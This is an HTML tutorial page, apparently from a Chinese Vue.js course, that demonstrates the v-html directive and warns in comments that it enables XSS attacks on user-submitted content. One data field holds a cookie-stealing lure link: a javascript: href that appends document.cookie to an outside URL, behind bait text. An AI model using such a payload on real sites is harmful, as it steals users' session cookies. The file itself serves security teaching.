<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>v-html指令</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="../js/vue.js"></script>
</head>
<!-- 
    v-html指令：
        1.作用：向指定节点中渲染包含html结构的内容。
        2.与插值语法的区别：
              (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
              (2).v-html可以识别html结构。
        3.严重注意：v-html有安全性问题！！！！
              (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
              (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
 -->

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false // 阻止Vue在启动时生成生产提示。

  new Vue({
    el: '#root',
    data: {
      name: '尚硅谷',
      str: '<h3>你好啊！</h3>',
      str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
    }
  })
</script>

</html>